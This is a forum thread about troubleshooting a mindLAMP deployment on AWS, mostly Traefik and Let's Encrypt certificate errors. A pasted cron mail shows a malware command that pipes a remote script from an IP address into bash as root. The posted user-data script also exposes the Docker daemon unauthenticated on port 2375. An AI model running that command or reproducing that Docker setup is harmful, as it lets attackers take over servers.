Secondly, since yesterday, my EC2 servers have been experiencing a possible malware attack. I have been receiving mail to path /var/spool/mail/root at relatively high frequency. My first message came at Tue Oct 26 20:18:11 2021, since then there has been 505 messages. Their contents looks as such:
From root@node-01.<MY-DOMAIN> Wed Oct 27 19:19:13 2021
Return-Path: <root@node-01.<MY-DOMAIN>>
X-Original-To: root
Delivered-To: root@node-01.<MY-DOMAIN>
Received: by node-01.<MY-DOMAIN> (Postfix, from userid 0)
id 5BA97D7D5E; Wed, 27 Oct 2021 19:19:12 +0000 (UTC)
From: "(Cron Daemon)" <root@node-01.<MY-DOMAIN>>
To: root@node-01.<MY-DOMAIN>
Subject: Cron <root@node-01> curl http://199.19.226.117/b2f628/cronb.sh|bash
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=612>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20211027191912.5BA97D7D5E@node-01.<MY-DOMAIN>>
Date: Wed, 27 Oct 2021 19:17:01 +0000 (UTC)
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:02:11 --:--:-- 0
curl: (28) Failed to connect to 199.19.226.117 port 80: Connection timed out
@avaidyam , here is a summary of what we have tested.
On Robert’s mindLamp cloudformation setup, in just ONE of the nodes (there are total 2 nodes, but made changes to only one of them), I did the following.
I added an inbound security rule that covers “All traffic”
[root@mindlamp ~]# docker service scale router_traefik=0
router_traefik scaled to 0
overall progress: 0 out of 0 tasks
verify: Service converged
[root@mindlamp ~]# docker service scale router_traefik=1
router_traefik scaled to 1
overall progress: 1 out of 1 tasks
1/1: running [==================================================>]
verify: Service converged
I went through the deployment process again soon after our last meeting. This time via an edited version of the cloudformation template. Template attached (had to zip it to upload) lamp-formation-1-node.zip (3.1 KB)
.
The parameters given for this template are seen here:
I was unable to successfully deploy, this time experiencing the “Unable to obtain ACME certificate” error:
router_traefik.1.2xpqq4twdp30@node-01.<MY-DOMAIN> | time="2021-11-10T13:53:10Z" level=error msg="Unable to obtain ACME certificate for domains \"db2.<MY-DOMAIN>\": cannot get ACME client get directory at 'https://acme-v02.api.letsencrypt.org/directory': Get \"https://acme-v02.api.letsencrypt.org/directory\": dial tcp: lookup acme-v02.api.letsencrypt.org on 10.0.0.2:53: write udp 10.0.0.40:47552->10.0.0.2:53: write: operation not permitted" providerName=default.acme routerName=lamp_database@docker rule="Host(`db2.<MY-DOMAIN>`)"
This is really quite strange, @standera and @yochung. I haven’t been able to figure out what is different about the newly created VPC or security groups vs. the default ones. It doesn’t make sense that the Let’sEncrypt TLS-ALPN-01 method wouldn’t work, since it only uses TCP :443 on a single node (no inter-node communication required).
For now, @standera, I recommend using the manually deployed nodes that we set up in our meeting. At a later time I’ll respond with (hopefully) a fixed CFN template.
As I had mentioned in an email that I sent to Dr. John, Aditya, and Yoon - Given that we no longer have any appreciable difference between the mindLAMP VPC with public subnets and security groups, and the default VPC and security groups, the next thing we should all take a look at it is the Docker Swarm setup steps in the EC2 user data. These steps were copied from the mindLAMP website way back. And maybe they are out-dated now.
Here they are again. Not being a Docker Swarm expert, I hope something will jump out at someone on this thread as incorrect or missing:
# install and start Docker Swarm
echo "Install and start Docker Swarm ..." >> timestamps.txt
yum install -y docker
usermod -a -G docker ec2-user
usermod -a -G docker ssm-user
hostnamectl set-hostname ${DomainName}
mkdir /etc/systemd/system/docker.service.d
printf "[Service]\nExecStart=\nExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock\n" | tee /etc/systemd/system/docker.service.d/override.conf
systemctl daemon-reload
service docker restart
docker swarm init
==
Sorry for the awkward fonts … I have no idea how to shrink font size of the previous paragraph … sorry …
I have recently revisited LAMP deployment through AWS. I’m deploying via a modified cloudformation template with a single node. I am also using a new domain. This time its a “.com” domain instead of my previous “.website” (we had speculated if the errors I was experiencing was due to my domain being a “.website”)
Unfortunately this time around, I experienced the same issues. Deployment is successful in every aspect except a valid SSL certificate. I did some more research on traefik and was wondering: Do you all happen to have a modified traefik.yml and lamp.yml docker stack file that allows you to implement your own SSL certificates rather than using letsencrypt? I did research on traefik’s website and attempted changing certain parameters but have not been successful at this time.
Also apologies for adding onto a year old feed. Happy to make a new post if it would be preferred.
I came across this thread while doing some forum monitoring - the administrators you were working with aren’t working with the lab anymore. You can make a new post, and we will look into it, but unfortunately I’m not certain we are capable of resolving this issue from our side.
… I have no idea how to shrink font size of the previous paragraph … sorry